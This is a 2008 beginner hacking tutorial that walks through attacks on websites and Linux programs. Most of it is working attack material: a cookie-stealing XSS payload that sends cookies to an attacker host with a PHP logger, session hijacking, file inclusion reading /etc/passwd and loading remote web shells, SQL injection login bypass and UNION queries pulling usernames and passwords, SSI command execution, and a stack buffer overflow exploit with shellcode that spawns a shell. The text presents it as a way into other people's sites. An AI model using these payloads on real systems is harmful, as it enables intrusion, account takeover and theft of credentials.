_________________________-[ Hacking Guide ]-_________________________ By: Wuls A complete and thorough beginners guide to the art of hacking._____________________________________________________________________Table of Contents:0x01| What is hacking?0x02| HTML / JavaScript Manipulation0x03| Basic Web Hacking Techniques0x04| Brief introduction to crypto0x05| Intermediate level Web Exploitation0x06| Linux/UNIX Exploitation0x07| Credits==> 0x01 ["What is hacking?"];First off, there are many variations of the term hacker and everyone'sdefinition is slightly different. Hacking in the eyes of many is the taskof breaking into computer systems and/or websites and screwing things up.I'm here to tell you that the aforementioned definition is perfectly acceptableif that's what you truly believe hacking to be. Hacking cannot be defined that easilyand people tend to mold and shape related terms like 'hacker' to fit theirown personal style. There are, however, people who deem themselves worthy of the term when theyclearly lack the required skillset. The category these people fall under iswidely known as the 'script kiddie'. To put it simply, a script kiddie issomeone who tries to get their name known in the underground community byusing publicly available exploits/programs that were made by real hackersin an attempt to gain what I like to call 'e-rep' among their peers.Chances are you have probably seen those "HACKED BY SAUDI_H4CK3R & DaRkViRuZ"type of webpages. This is what is called a defacement, and we'll touch on thatlater on in this guide.Others see hacking as the process of creative problem solving and simplycircumventing limitations in a non-malicious manner. Whatever your views onhacking are, this guide is for you -- So without further adieu, let's begin.==> 0x02 ["HTML / JavaScript Manipulation"];Since the beginning of time (well, the beginning of the Internet) people have usedHTML to create and view webpages. I guess after a period of time people grew tiredof plain old HTML pages and yearned for something more, like, er.. JavaScript.With this newly engineered web scripting tool of leetness webmasters were able to spice up their pages. JavaScript opened an entire locker room of new doors for theweb industry, and allowed users to interact with the sites. This nifty littlescripting language also served as a form of website authentication securitybefore people realized how easily JavaScript login forms could be exploited.. despitethe whole 'security through obscurity' ordeal.Below we see an example of a login/auth form in JavaScript:_____________________________________________________________<script language="javascript"><!--function auth(form) { if (form.username.value=="administrator") { if (form.password.value=="soccer8") { location="login.php?username=administrator&password=soccer8" } else { alert("Invalid Password"); } } else { alert("Invalid Username"); }}//--></script>_____________________________________________________________Now, that is _really_ going to keep someone from intruding in on your site?Hardly. A simple right-click, and an equally simple left click render thisform of web security useless. The clicks being: Right-Click, 'View Source'.Of course, not all retarded.. I mean outdated, webmasters use the same methodof 'JavaScript security'. Some may tuck the file away neatly in an embedded areawhich reads from a .js file. The simple solution to this would be to visitthe url containing the filename at the end of it, and voila.. of course this canhardly be called hacking on its own. Another example of JavaScript's unreliablitycan be found here:_____________________________________________________________<script>function checkpass(){ user_input=document.password.pass.value; carrot=unescape('%64%64%6f%71'); jumble="akDJj94dJk4"; a=jumble.charCodeAt(2); b=jumble.charCodeAt(5); c=jumble.charCodeAt(2); yay=((30*51/3*a)-(b*c))/4/5+b; password=carrot+"_"+yay; if(user_input==password) { alert('Welcome.'); document.href="/login.php?password=valid"; } else { alert('Error - Wrong Password'); }}</script>_____________________________________________________________At this point you are probably wondering how anyone is supposed to bypassthat motherfucker of a login. But what if we modify the code so insteadof it telling us we're wrong when we don't enter the correct password,we make it tell us the contents of the variable 'password' and have the scriptdo all the calculations for us?! A simple modification of the line"alert('Error - Wrong Password');" to "alert(password);" will do just that.So now when the script is run, and the wrong password is supplied we arepresented with "ddoq_1597.2", the wonderful password.==> 0x03 ["Basic Web Hacking Techniques"];Alright so we've all seen those awesome defacement pages around the net, but haveyou ever wondered how it's done? To be honest the majority of those defacementsare only existent due to people using a web-shell created by someone else. Sounding a little familiar? Yes, you guessed it.. the people who rely on web-shellsgenerally tend to be script kiddies.However, there are those who legitimately hack into websites and deface them throughother means. A few exploitation techniques we'll be covering are the Local/Remote FileInclusions, XSS (Cross-Site Scripting), and the infamous SQL Injection.File inclusions tend to originate from vulnerable PHP code such as the following:<?php@include($_GET["page"]);?>This could result in a local file inclusion just as easily as it could a Remote one.You see, that code will accept anything supplied to the variable 'page' and will attemptto execute or 'load' it onto the page. Being a plain text document it's quite hard to demonstrate and I'm no ASCII Artist thats for sure so here's something..http://site.com/index.php?page=contact.phpYou may have seen a URL structured like that at some point and wondered what it's all aboutbut did you ever stop to think that it could be your way in? The use of directory transversalsand full path disclosure could aid you in Local file inclusions, especially if you're aimingto obtain something like password hashes. Directory transversals simply put, backtrack or'cycle' backwards through directories and basically clear the way for you to set the 'path'to a file you want.Time for yet another example:http://site.com/index.php?page[]=contact.phpMight result in (or something similar):Warning: main(Array) [function.main]: failed to open stream: No such file or directory in /home/soccerfan/domains/site.com/site_data/index.php on line 296From there you could try and access files you otherwise wouldn't have privelages to, due to thefact that you're making the server request them, and of course the server is allowed.http://site.com/index.php?page=../../../../../home/domains/soccerfan/site_data/passwdadmin:DkjenDvfHCIf you're successful you might just find something like 'admin:DkjenDvfHC' on the page.This is what's called a password hash and it is likely that it'll be encrypted.Deciphering or 'cracking' password hashes can be done manually or by programs like John the Ripper. I will not be demonstrating the use of John the Ripper in thisguide due to the fact there are many tutorials regarding it's use out there, all youneed is a simple Google search query.Remote File Inclusions aren't that much different.. rather than trying to read a localfile, you'll be making the server read a remote one:http://site.com/index.php?page=http://yoursite.com/shell.txt?Now, I know I said shells were mainly used by script kiddies.. but I didn't say youcouldn't use them for educational purposes! :-] Of course there's always the option ofcoding your own, but at this stage in your hacking career that doesn't seem too likely.There isn't much of a point explaining how to use a shell as there are many different onesout there.. and trust me they're pretty self-explanitory. To name a few:- C99- r57- TD Shell- x2300Alright, on to XSS or Cross-Site Scripting. This method of exploitation is basically theinjection of javascript, in most cases, into a page where it will be executed by other users.People who use this method generally are hoping to steal other users' cookie data so they canperform what is called 'Session Hijacking'. This is the process of replacing your *session* withsomeone else's session, thus granting you access to their account - no password necessary.Common areas for XSS attacks are profile pages, search boxes, and/or e-mail attachments.An attacker could craft a page containing something like:<script>document.href="http://badsite.com/stealer.php?cookie=%20+%20document.cookie";</script>Which would redirect an unsuspecting user to the page 'stealer.php' on the attacker's web host.The PHP file stealer.php would contain something along the lines of this:<?php$c = $HTTP_GET_VARS["cookie"];$fp = fopen('logs.htm', 'a');fwrite($fp, 'Cookie Data: ' .$c. '<br>');fclose($fp);?>I think by now you can pretty much guess what it does. In the event you aren'table to, read this: "IT RECORDS THE USERS COOKIE DATA!!!!!" As always, here is yourexample of what the attacker's log file might look like:Cookie Data: bbsessionhash=1bdd8d247d831c2176f0264567a7cc54Replacing cookie data isn't a hard task either, just enter this into your web browser.javascript:void(document.cookie="bbsessionhash=1bdd8d247d831c2176f0264567a7cc54");==> 0x04 ["Brief introduction to Crypto"];Since I am no expert myself in the area of crypto, I am going to briefly cover a coupleencryption methods..Password hashes / Messages may be seen in the following forms and can be decrypted quiteeasily provided that you have the necessary tools. The encrypting of messages is a technique that was used way back even during Caesar's time of rule. It was used during WWII by the Germans via a machine called the 'Enigma' to relay information about the enemy without their knowledge. Below are some standard encryption methods with their plaintext version underneath.90378756d3bd6429f611227773e287c1 (MD5)this_is_funcm9mbGNvcHRlcg== (Base64)roflcopter67 75 6d 6d 79 62 65 61 72 (Hex)gummybear01101000 01100101 01101100 01101100 01101111 (Binary)helloAnd then there's Octal. Not so widely used today but still enough to be considered relevant.The following string of numbers converts to "Octal is cool!".117 143 164 141 154 040 151 163 040 143 157 157 154==> 0x05 ["Intermediate level Web Exploitation"];In this section you will learn about the basics of SQL Injection, poison null bytes,and Serverside Includes (SSI).As you may or may not know, many of today's websites are powered by things called databases,many of which are MySQL based. Unfortunately (but fortunately for you!) MySQL has many flaws.Well.. MySQL in itself is fine IMO, but the way it is often configured leaves intruderswith ever so tempting opportunity. For example, site logins are often bypassed viaa simple injection string. Variations of this include:admin' OR 1=1-- */' OR 1=1--1=1--'') OR 1=1--..... and the list goes on. All an attacker is required to do is insert one of those intoboth fields (username + password) and they'll be given access to the administrator accountgranted that the website is vulnerable.But this is just the tip of the iceberg for SQL Injections.. you can also trick the serverinto dropping you entire user tables. MySQL organizes data into what are called 'tables'.Inside these tables there are things called columns and rows which hold data such as usernames, emails, passwords, etc.. when exploiting a site running MySQL you need to first know the correctnumber of columns, and find out which ones can be manipulated.Again, because this is a simple text document my examples are limited:http://somesite.com/news.php?id=6 <-- Just an ordinary request for news item #6http://somesite.com/news.php?id=1+ORDER+BY+1 <-- 1+ORDER+BY+1 is used to count columns.. observe.http://somesite.com/news.php?id=1+ORDER+BY+4 <-- Keep incrementing the second digit till an errorhttp://somesite.com/news.php?id=1+ORDER+BY+5 <-- is receivedhttp://somesite.com/news.php?id=1+ORDER+BY+6 <-- Everythings fine so far..But when we try it with '7' we get:Could not successfully run query (SELECT * FROM `news` WHERE `id` = 1 ORDER BY 7) from DB: Unknown column '7' in 'order clause'This is because there isn't a seventh column. So let's call the 6 columns that DO existwith a query like this:http://somesite.com/news.php?id=null+union+all+select+1,2,3,4,5,6+from+news--Now we might see something like the numbers '2' and '3' appear on the page, perhapsof an unusual size, or portrayed as a hyperlink. These are the column numbers we needto manipulate and could be the key to our success. Naturally, this is what I'd try:http://somesite.com/news.php?id=null+union+all+select+1,username,password,4,5,6+from+users--Notice that I replaced 2 and 3 with username and password. But I have my doubts about any usernames and passwords being stored in a table called 'news'. Let's just change that to 'users' :-) Seems logical right? If successful you might be presented with somethinglike this...Admin098f6bcd4621d373cade4e832627b4f6Ta-da! Speaks for itself I think. Let's move on..The poison null byte is simply "%00". It can be added onto the end of URLs that automaticallyget file extentions placed at the end of variable input. Ex:http://site.com/index.php?page=../../../../etc/passwdThat attempt at a local file inclusion exploit might result in fail.. observe..http://site.com/index.php?page=../../../../etc/passwd.php.txtExtensions like .php.txt may be thrown into the mix to prevent you from reading important files.Fortunately you can easily circumvent this using the poison null-byte:http://site.com/index.php?page=../../../../etc/passwd%00It basically tells 'pending extensions' to go fuck themselves.Oooooooooooooook...... and last but not least, serverside includes. A common place to findthese are within search fields. Say you are in a directory called /data/, and you want toknow what other files are in the current directory, but you are denied directory listing..You can try inserting something simple like <!--#exec cmd="ls -liah"--> into the searchfield. If successful, you will be presented with a list of every file in the current directory.Hehe.. this just about concludes the web-hacking part of the guide.==> 0x06 ["Linux/UNIX Exploitation"];For simplicity's sake I'm going to copy/paste a previous paper I wrote on buffer overflows.Being a beginner you wouldn't have seen it before, so it's all good =] Enjoy.. :: Exploiting a simple buffer overflow :: .Written by: wuls# 2007-10-14=====================================1. What is a buffer overflow?2. How to go about exploiting one.=====================================This `tutorial' is intended to be short and sweet; straight to the point.[Just what you were probably looking for] ;-)One:~~~~A buffer overflow is what occurs when too much data is passed on to the buffer, resulting in it screwing upor "overflowing". There are many variations of this type of exploit, thousands actually, residing in many functionsin just about any programming language. For the sake of simplicity I am going to gear this tutorial towards C.Two:~~~~Below is an example of vulnerable code.--- Begin Code ---#include <stdio.h>#include <string.h>#include <stdlib.h>int main(int argc, char *argv[]){ char buffer[150]; strcpy(buffer, argv[1]); return(0);}--- End Code ---To start off exploiting this you will need to fill the buffer. Since this is an example, you already know the buffer size..but out in the 'wild' you will most likely need to do trial and error until you find the end of the buffer.Let's assume this program is called pr0g.+++++++++++++wuls@zone~# gcc-3.3 pr0g.c -o pr0gwuls@zone~# ulimit -c unlimitedwuls@zone~# ./pr0g `perl -e 'print "A"x172'`Illegal Instruction (core dumped)wuls@zone~# lspr0g.c pr0g corewuls@zone~#+++++++++++++As you can see from the example, gcc-3.3 adds padding to help protect the stack. This added junk data causes the buffer to require more data before itoverflows. When we eventually filled the buffer with 172 A's it crashed, and dumped a core. Had we not done 'ulimit -c unlimited', this would not havehappened, as it needs permission to do so.So it dumped a core, and dropped us a nice core file, let's take a look inside it shall we?+++++++++wuls@zone~# gdb -c core pr0g"Program terminated with signal 4, Illegal instruction.#0 0xb7ea4e00 in __libc_start_main () from /lib/tls/libc.so.6"(gdb) info regeax 0x0 0ecx 0x0 0edx 0x0 0ebx 0xb7f23ff4 -1208860684esp 0xbfb4dd20 0xbfb4dd20ebp 0x41414141 0x41414141esi 0x0 0edi 0xb7f4bcc0 -1208697664eip 0xb7e0ae00 0xb7e0ae00 <__libc_start_main+32>eflags 0x10282 [ SF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51+++++++++Notice how the memory address was b7ea4e00 right before the program's crash? A memory address is 4 bytes in size, and right now, b7e0ae00 is occupyingthe space we want to overwrite. b7e0ae00 is the program's return address (eip). We don't just want to overwrite EIP with just anything though, we wantto cram it full with our shellcode. So let's export a variable. +++++++++++wuls@zone~# export SHELLCODE=`perl -e 'print "/x90" x 50 . "/x6a/x0b/x58/x99/x52/x68//sh/x68/bin/x89/xe3/x52/x53/x89/xe1/xcd/x80"'`wuls@zone~#+++++++++++Exporting a variable loads it into the environment. The use of NOPS ("/x90") isn't always required, but on newerLinux kernels it is probably going to be needed for this type of buffer overflow due to stack randomization. So we already overwrote EBP with our A's,which is represented by 41 in hexadecimal. So what would happen if we added just 4 more bytes after our 172 A's? Maybe it'll overwrite something else? Let's find out!+++++++++wuls@zone~# ./pr0g `perl -e 'print "A"x172 . "DDDD"'`Segmentation fault (core dumped)wuls@zone~# gdb -c core pr0g"Program terminated with signal 11, Segmentation fault.#0 0x44444444 in ?? ()"(gdb) info regeax 0x0 0ecx 0x0 0edx 0x0 0ebx 0xb7f3bff4 -1208762380esp 0xbfe36810 0xbfe36810ebp 0x41414141 0x41414141esi 0x0 0edi 0xb7f63cc0 -1208599360eip 0x44444444 0x44444444eflags 0x10286 [ PF SF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 +++++++++Aha, we overwrote the EIP register with D's (0x44444444). How useful, right? Before you begin jumping with joy you must keep in mind that a program is nottruly exploited until we have gained control over it. For example, making it execute our shellcode. But our shellcode is nowhere to be seen! :-(It's not exactly hidden though, we just aren't looking in the right place. Let's re-open the core file and have a look.++++++wuls@zone~# gdb -c core pr0g"Program terminated with signal 11, Segmentation fault.#0 0x44444444 in ?? ()"(gdb) info regeax 0x0 0ecx 0x0 0edx 0x0 0ebx 0xb7f3bff4 -1208762380esp 0xbfe36810 0xbfe36810ebp 0x41414141 0x41414141esi 0x0 0edi 0xb7f63cc0 -1208599360eip 0x44444444 0x44444444eflags 0x10286 [ PF SF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51 (gdb) x/s $edx0xbfa38bac: "SHELLCODE=", '/220' <repeats 50 times>, "j/vX/231Rh//shh/bin/211ãRS/211áÃ/200"(gdb)++++++Look for something like that. Note that I left out a bunch of garbage to make the example more clear, but your variables are usually stored in EDX.Anyway, now that we've found the memory address holding our shellcode we need to make the programs return address point to it. Since our shellcode isstored in a variable we will need to add an offset. Simply add the length of the variable name to the memory address: (gdb) x/s 0xbfa38bac+100xbfa38bb6: '/220' <repeats 50 times>, "j/vX/231Rh//shh/bin/211ãRS/211áÃ/200"(gdb)qwuls@zone~#This removed the actual letters 'SHELLCODE=' from the memory address, as you don't want the program trying to execute a variable, but rather an address.Everything looks fine so far, so we might aswell wrap this up. Since most home PCs are little endian (x86) we need to reverse the byte order. In other words, write the memory address backwards. As shown earlier weused NOPS.. well now its time to take a ride on the good ol' NOPsled. Since NOPs are used as 'NULL' data, and serve no actual purpose, the kernel passesthem off as 'empties' and moves onto the next memory address -- Thus the purpose of using an infinite while loop to keep the NOPs active until we hit ourshellcode.++++++wuls@zone~# while(true) do ./pr0g `perl -e 'print "A"x172 . "/xb6/x8b/xa3/xbf"'`;doneSegmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)Segmentation fault (core dumped)sh-3.1$++++++And there we are folks, we successfully exploited the program and got it to run our shellcode, dropping us a nice shell. Hope you enjoyed this tutorial.Keep in mind that there are many, many different variations and ways to do this, such as writing exploit code to overflow the buffer rather thanpassing them off as arguments via Perl.Hope this has helped. =======================================================================================Greetz/Thanks:beach, RoMeO, Mulciber, DeadlyData, 2Fade, tactikalnuke, KOrUPt, Philkill, TriGz, TippyAll of SmashTheStack & IntrudedFinal notes:Hopefully this has helped you get a good start. Don't be afraid to ask questions, try to avoidshit like pre-made exploits, and good luck. #2008-04-26
